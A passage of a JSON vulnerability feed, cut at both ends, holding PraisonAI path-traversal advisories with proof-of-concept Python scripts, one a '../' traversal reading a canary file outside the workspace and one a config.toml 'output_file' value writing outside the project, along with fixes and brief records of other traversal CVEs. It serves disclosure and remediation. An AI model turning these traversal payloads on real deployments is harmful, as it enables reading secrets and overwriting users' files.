\"simple_search_does_not_find_outside_canary\": true\n  },\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled the FastContext introduction boundary and current releases:\n\n```text\nPraisonAI FastContext workspace-boundary version sweep\ncurrent_main: 1620b49f36945d8cc8ee5635b906c960df5097a0\nlatest_tag_context: v4.6.63-2-g1620b49f\n\nv2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py\nv2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py\n{\"ref\": \"v2.3.11\", \"praisonaiagents_version\": \"0.0.190\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v3.8.1\", \"praisonaiagents_version\": \"0.11.7\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.5.149\", \"praisonaiagents_version\": \"1.6.8\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.58\", \"praisonaiagents_version\": \"1.6.58\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.62\", \"praisonaiagents_version\": \"1.6.62\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.63\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"HEAD\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n```\n\nNo external service, live target, or real credential is needed for reproduction.\n\n## Impact\n\nIf an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents.\n\nThe demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.\n\nSuggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake FastContext path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace once.\n2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed.\n3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`.\n4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths.\n5. Apply the same helper in `FastContext.read_context()`.\n6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher.\n7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_path(workspace: str, user_path: str) -> str:\n    root = Path(workspace).resolve()\n    candidate = Path(user_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"FastContext path is outside workspace: {user_path}\") from exc\n    return str(resolved)\n```\n\n## Affected Package/Versions\n\n- Package: `praisonaiagents`\n- Component: `praisonaiagents.context.fast`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `1.6.63`\n- Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190`\n- Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonaiagents >= 0.0.190, <= 1.6.63\n```\n\nThe exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns.\n- `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`.\n- `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP.\n\nPublic issue/PR search found no hits for `FastContext arbitrary file read`, `\"Fast Context\" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`.\n\n## References\n\n- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context\n- PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools\n- PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained FastContext Workspace PoC\n\n```python\n#!/usr/bin/env python3\nimport json\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\n\ndef main() -> None:\n    with TemporaryDirectory(prefix=\"fastcontext-workspace-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.txt\"\n        outside = temp_root / \"outside-secret.txt\"\n\n        inside.write_text(\"INSIDE_ONLY=workspace\\n\", encoding=\"utf-8\")\n        outside.write_text(CANARY + \"\\n\", encoding=\"utf-8\")\n\n        agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)\n        simple_result = agent.search_simple(CANARY)\n        inside_result = agent.execute_tool(\"read_file\", filepath=\"inside.txt\")\n        relative_read = agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")\n        absolute_read = agent.execute_tool(\"read_file\", filepath=str(outside))\n        grep_parent = agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY, max_results=5)\n        glob_parent = agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\", max_results=5)\n        list_parent = agent.execute_tool(\"list_directory\", dir_path=\"..\", max_entries=10)\n\n        context = FastContext(workspace_path=str(workspace), cache_enabled=False)\n        context_read = context.read_context(\"../outside-secret.txt\")\n\n        results = {\n            \"simple_search_does_not_find_outside_canary\": len(simple_result.files) == 0,\n            \"inside_read_still_works\": \"INSIDE_ONLY=workspace\" in inside_result.get(\"content\", \"\"),\n            \"relative_traversal_read_discloses_canary\": CANARY in relative_read.get(\"content\", \"\"),\n            \"absolute_read_discloses_canary\": CANARY in absolute_read.get(\"content\", \"\"),\n            \"grep_parent_discloses_canary\": any(CANARY in match.get(\"content\", \"\") for match in grep_parent),\n            \"glob_parent_reveals_outside_file\": any(match.get(\"path\") == \"outside-secret.txt\" for match in glob_parent),\n            \"list_parent_reveals_outside_file\": any(entry.get(\"name\") == \"outside-secret.txt\" for entry in list_parent.get(\"entries\", [])),\n            \"high_level_read_context_discloses_canary\": CANARY in (context_read or \"\"),\n        }\n\n        print(json.dumps({\"vulnerable\": all(results.values()), \"results\": results}, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```","cveId":"CVE-2026-61432","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonaiagents","affectedVersions":["pkg:pypi/praisonaiagents < 1.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-4xxv-6wmf-xf45","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-4xxv-6wmf-xf45","type":"advisory","title":"OSV GHSA-4xxv-6wmf-xf45"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61432","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal","type":"other","title":"OSV web"}],"epssScore":0.00407,"epssPercentile":0.32849,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T16:48:52.000Z","addedAt":"2026-10-08T18:42:42.651Z","updatedAt":"2026-10-08T18:42:42.651Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61432","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61432","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-4xxv-6wmf-xf45"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-4xxv-6wmf-xf45"}]},{"id":"fdf53fb0-5ad0-40c4-902d-ebddbd950e23","slug":"cve-2026-60089","externalId":"GHSA-qjw5-xwrp-xwpq","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: Project config can auto-save agent output outside the project root","description":"# Project config can auto-save agent output outside the project root\n\n## Summary\n\n`praisonaiagents` automatically reads project-local `.praisonai/config.toml` defaults when constructing an `Agent`. A repository-controlled config can set `defaults.output.output_file` to an absolute path or a `..` traversal path. When the developer later calls `agent.start(...)`, PraisonAI writes the agent response to that path with `open(..., \"w\")`, creating parent directories if needed.\n\nThis lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.\n\n## Technical Details\n\nThe source-to-sink path is `Agent.__init__()` project config loading to `OutputConfig.output_file` to public `agent.start()` output auto-save. `praisonaiagents/agent/agent.py` applies config-driven defaults before parameter resolution; if the caller did not explicitly pass `output`, it calls `apply_config_defaults(\"output\", output, OutputConfig)`. `praisonaiagents/config/loader.py` treats a config block with `enabled = true` as active and instantiates `OutputConfig` from the remaining keys. `OutputConfig` includes `output_file`, and the agent stores that value as `self._output_file`.\n\nAfter `agent.start(...)` obtains a truthy result from `self.chat(...)`, `praisonaiagents/agent/execution_mixin.py` calls `_save_output_to_file(str(result))` when `self._output_file` is set. `praisonaiagents/agent/memory_mixin.py` then runs `expanduser()` and `abspath()`, creates parent directories, and writes the destination with mode `w`. It does not constrain the resolved path to the current project, reject absolute paths, reject `..`, or distinguish an output path explicitly chosen by trusted application code from one loaded out of a project-local config file.\n\nThis is not a claim that explicit `Agent(output=OutputConfig(output_file=...))` chosen by trusted application code is unsafe by itself. The security boundary crossed here is the automatically consumed project-local config file: a checked-out project can steer the write destination without the application code opting into that path.\n\n## PoV\n\nCreate a project containing:\n\n```toml\n[defaults.output]\nenabled = true\noutput_file = \"../victim-outside-project/agent-output.txt\"\n```\n\nThen run ordinary agent code from inside that project without passing an explicit `output` parameter. The resolved output path escapes the project root, and PraisonAI writes the agent response there after `agent.start(...)`.\n\nI verified this locally without any external model call by replacing `agent.chat` with a deterministic offline stub after constructing the real `Agent`; the public `start()` method still performed the auto-save. Current-head output:\n\n```json\n{\n  \"configured_output_file\": \"../victim-outside-project/agent-output.txt\",\n  \"escaped_project_root\": true,\n  \"source_head\": \"3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\",\n  \"start_returned\": true,\n  \"canary_written\": true\n}\n```\n\nNegative controls:\n\n```json\n[\n  {\n    \"case\": \"safe-relative\",\n    \"configured_output_file\": \"inside-output.txt\",\n    \"expected_file_escaped_project\": false,\n    \"expected_file_exists\": true,\n    \"observed_files\": {\n      \"project/inside-output.txt\": \"PRAISONAI_NEGATIVE_CONTROL_safe-relative\\n\"\n    },\n    \"outside_files\": [],\n    \"start_returned\": true\n  },\n  {\n    \"case\": \"disabled-output\",\n    \"configured_output_file\": null,\n    \"expected_file_escaped_project\": null,\n    \"expected_file_exists\": false,\n    \"observed_files\": {},\n    \"outside_files\": [],\n    \"start_returned\": true\n  }\n]\n```\n\nThe first control shows a safe relative output path stays inside the project. The second control shows a traversal `output_file` is not applied when `defaults.output.enabled` is false.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nfrom pathlib import Path\n\nfrom praisonaiagents import Agent\nfrom praisonaiagents.config.loader import clear_config_cache\n\nwork = Path(\"praison-outputfile-poc\").resolve()\nproject = work / \"untrusted-project\"\nvictim = work / \"victim-outside-project\" / \"agent-output.txt\"\n\nshutil.rmtree(work, ignore_errors=True)\n(project / \".praisonai\").mkdir(parents=True)\nvictim.parent.mkdir(parents=True)\n\n(project / \".praisonai\" / \"config.toml\").write_text(\n    \"[defaults.output]\\n\"\n    \"enabled = true\\n\"\n    'output_file = \"../victim-outside-project/agent-output.txt\"\\n',\n    encoding=\"utf-8\",\n)\n\nos.chdir(project)\nclear_config_cache()\n\nagent = Agent(instructions=\"offline PoC\")\nagent.chat = lambda prompt, **kwargs: \"PRAISONAI_OUTPUTFILE_CANARY\\n\"\nagent.start(\"offline prompt\")\n\nprint(victim.read_text(encoding=\"utf-8\"))\nprint(victim.resolve())\n```\n\nExpected affected result:\n\n- `victim-outside-project/agent-output.txt` is created outside `untrusted-project`.\n- The file contains `PRAISONAI_OUTPUTFILE_CANARY`.\n\n## Impact\n\nA malicious repository can cause PraisonAI to truncate and replace files outside the repository when a developer runs agent code from that directory. The write is limited to the permissions of the local user, but that commonly includes dotfiles, project-adjacent files, CI workspace files, and other user-writable paths.\n\nThe content written is the agent response rather than arbitrary bytes in the strictest sense. However, the same untrusted project can influence the agent prompt/config context, and the primitive is still an unintended file overwrite outside the project boundary.\n\n## Suggested Fix\n\nTreat `output_file` loaded from project-local config as untrusted:\n\n- Resolve project-configured `output_file` relative to the project root and reject paths that escape that root after symlink-aware normalization.\n- Reject absolute paths and `..` traversal in project config by default.\n- Preserve existing behavior for explicit trusted application code, for example `Agent(output=OutputConfig(output_file=...))`, or require an explicit `allow_external_output_file` opt-in for config-sourced paths.\n- Avoid creating parent directories outside the allowed root for config-sourced output.\n- Add regression tests for `.praisonai/config.toml` with relative traversal, absolute paths, and symlinked parent directories.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- GitHub current head `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`.\n- `praisonaiagents` 1.6.64, latest PyPI release at test time.\n- `praisonaiagents` 1.6.63, previous PyPI release tested.\n\nThe `praisonai` package version 4.6.64 depends on `praisonaiagents>=1.6.64`, so `praisonai` users can receive the affected code transitively when they use the `praisonaiagents.Agent` path.\n\n## Advisory History\n\nI did not find an existing advisory summary for `output_file` / `OutputConfig` / `defaults.output` project-configured output path escape in the repository advisory list.\n\nRelated but distinct advisories exist for other PraisonAI path traversal, file-write, file-read, and tool boundary issues. This report covers the `praisonaiagents` project config to `OutputConfig.output_file` auto-save path.\n\nNo public disclosure or external submission was performed as part of this report preparation.\n\n## References\n\n- `praisonaiagents/agent/agent.py`: config defaults are applied to `output`, then `output_file` is stored on the agent.\n- `praisonaiagents/config/loader.py`: enabled config defaults instantiate the requested config class.\n- `praisonaiagents/config/feature_configs.py`: `OutputConfig.output_file`.\n- `praisonaiagents/agent/execution_mixin.py`: `start()` auto-saves agent output.\n- `praisonaiagents/agent/memory_mixin.py`: `_save_output_to_file()` resolves and writes the configured path without project containment.","cveId":"CVE-2026-60089","cvssScore":null,"cvssVector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","severity":"medium","vendor":"PyPI","product":"praisonaiagents","affectedVersions":["pkg:pypi/praisonaiagents < 1.6.78"],"cwes":["CWE-22","CWE-73"],"tags":["osv","osv:ghsa-qjw5-xwrp-xwpq","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-qjw5-xwrp-xwpq","type":"advisory","title":"OSV GHSA-qjw5-xwrp-xwpq"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qjw5-xwrp-xwpq","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60089","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-config-toml","type":"other","title":"OSV web"}],"epssScore":0.0018,"epssPercentile":0.06883,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T16:36:34.000Z","addedAt":"2026-10-08T18:42:42.800Z","updatedAt":"2026-10-08T18:42:42.800Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60089","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-60089","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-qjw5-xwrp-xwpq"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-qjw5-xwrp-xwpq"}]},{"id":"d0f3e09c-dab2-47bc-afc6-373e8fbe2697","slug":"cve-2026-19585","externalId":"CVE-2026-19585","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-19585 — HashiCorp go-getter versions before 1.8.10 and go-getter/v2 versions before 2.2.5 are vulnerable to path traversal during S3 and GCS directory down…","description":"HashiCorp go-getter versions before 1.8.10 and go-getter/v2 versions before 2.2.5 are vulnerable to path traversal during S3 and GCS directory downloads, which may allow files to be written outside the requested destination. This vulnerability (CVE-2026-19585) is fixed in go-getter 1.8.10 and go-getter/v2 2.2.5.","cveId":"CVE-2026-19585","cvssScore":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://discuss.hashicorp.com/t/hcsec-2026-44-go-getter-vulnerable-to-a-path-traversal-in-s3-gcs-directory-download-handling/77819","type":"advisory","title":"security@hashicorp.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T16:17:10.490Z","addedAt":"2026-10-08T16:39:36.072Z","updatedAt":"2026-10-08T23:06:38.513Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19585","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-19585","note":"authoritative record"}]},{"id":"458d950b-39b4-4832-94bb-8c9cc6c63baa","slug":"cve-2026-102783","externalId":"CVE-2026-102783","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-102783 — Joomla Extension - balbooa.com - Path Traversal in image preview Gridbox < 2.20.4.0 - Gridbox contains the same prefix-only containment logic in it…","description":"Joomla Extension - balbooa.com - Path Traversal in image preview Gridbox < 2.20.4.0 - Gridbox contains the same prefix-only containment logic in its site UploaderHelper . The showImage action resolves a request-controlled path, calls that helper, and then returns the image. If image decoding is unavailable or fails, the action streams the file directly. An existing image in a sibling directory such as images-backup can therefore satisfy the current containment test even though it is outside the configured images root. The route restricts the file extension to Gridbox image types, which materially limits the read primitive. The default media root is images ; the effective site setting was not independently verified. No prefix-matching sibling directory was found alongside the site’s images directory. The finding is rated Low rather than presented as arbitrary file disclosure.","cveId":"CVE-2026-102783","cvssScore":6.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.balbooa.com/gridbox","type":"advisory","title":"security@joomla.org"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T13:17:11.847Z","addedAt":"2026-10-08T14:40:02.435Z","updatedAt":"2026-10-08T23:06:37.852Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102783","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-102783","note":"authoritative record"}]},{"id":"5dd667c7-a674-4c59-a453-4b91892e8826","slug":"cve-2026-107466","externalId":"CVE-2026-107466","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107466 — A flaw was found in flatpak-builder.","description":"A flaw was found in flatpak-builder. This vulnerability allows an attacker to cause information disclosure by convincing a user or continuous integration (CI) system to process a crafted build manifest. By specifying local file Uniform Resource Identifiers (URIs) within source download definitions, the builder bypasses directory confinement checks. As a result, sensitive host files accessible to the build process can be read and incorporated into the build artifacts.","cveId":"CVE-2026-107466","cvssScore":6.1,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://access.redhat.com/security/cve/CVE-2026-107466","type":"advisory","title":"secalert@redhat.com"},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2471600","type":"advisory","title":"secalert@redhat.com"}],"epssScore":0.00191,"epssPercentile":0.08044,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T08:16:34.193Z","addedAt":"2026-10-08T08:39:29.372Z","updatedAt":"2026-10-08T21:05:47.749Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107466","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107466","note":"authoritative record"}]},{"id":"d80b9499-4d71-4db5-b3d4-7ee2b3df2f9a","slug":"cve-2026-85490","externalId":"CVE-2026-85490","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-85490 — When Brocade ASCG before 3.5.0 processes support bundle archives ingested from remote compromised endpoints, the application fails to sanitize path…","description":"When Brocade ASCG before 3.5.0 processes support bundle archives ingested from remote compromised endpoints, the application fails to sanitize path traversal sequences contained within archive entries prior to extraction. An unauthenticated remote attacker capable of sending or intercepting ingested archive files can leverage this flaw to write arbitrary files to restricted locations on the underlying host, potentially leading to remote code execution.","cveId":"CVE-2026-85490","cvssScore":7.7,"cvssVector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://support.broadcom.com/external/content/SecurityAdvisories/0/38389","type":"advisory","title":"sirt@brocade.com"}],"epssScore":0.00273,"epssPercentile":0.18014,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T07:16:32.860Z","addedAt":"2026-10-08T08:39:29.335Z","updatedAt":"2026-10-08T21:05:47.610Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85490","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-85490","note":"authoritative record"}]},{"id":"c982707c-4aae-4e13-832d-ef56bd8af085","slug":"cve-2026-85487","externalId":"CVE-2026-85487","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-85487 — A path traversal vulnerability exists in the HTTP service component of Brocade ASCG versions before 3.5.0.","description":"A path traversal vulnerability exists in the HTTP service component of Brocade ASCG versions before 3.5.0. An unauthenticated attacker on the local network could send a manipulated API request to the service endpoint bypassing path restrictions to arbitrary file read, file write, or file deletion operations.","cveId":"CVE-2026-85487","cvssScore":8.6,"cvssVector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://support.broadcom.com/external/content/SecurityAdvisories/0/38383","type":"advisory","title":"sirt@brocade.com"}],"epssScore":0.00205,"epssPercentile":0.09626,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T07:16:32.450Z","addedAt":"2026-10-08T08:39:29.312Z","updatedAt":"2026-10-08T21:05:47.566Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85487","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-85487","note":"authoritative 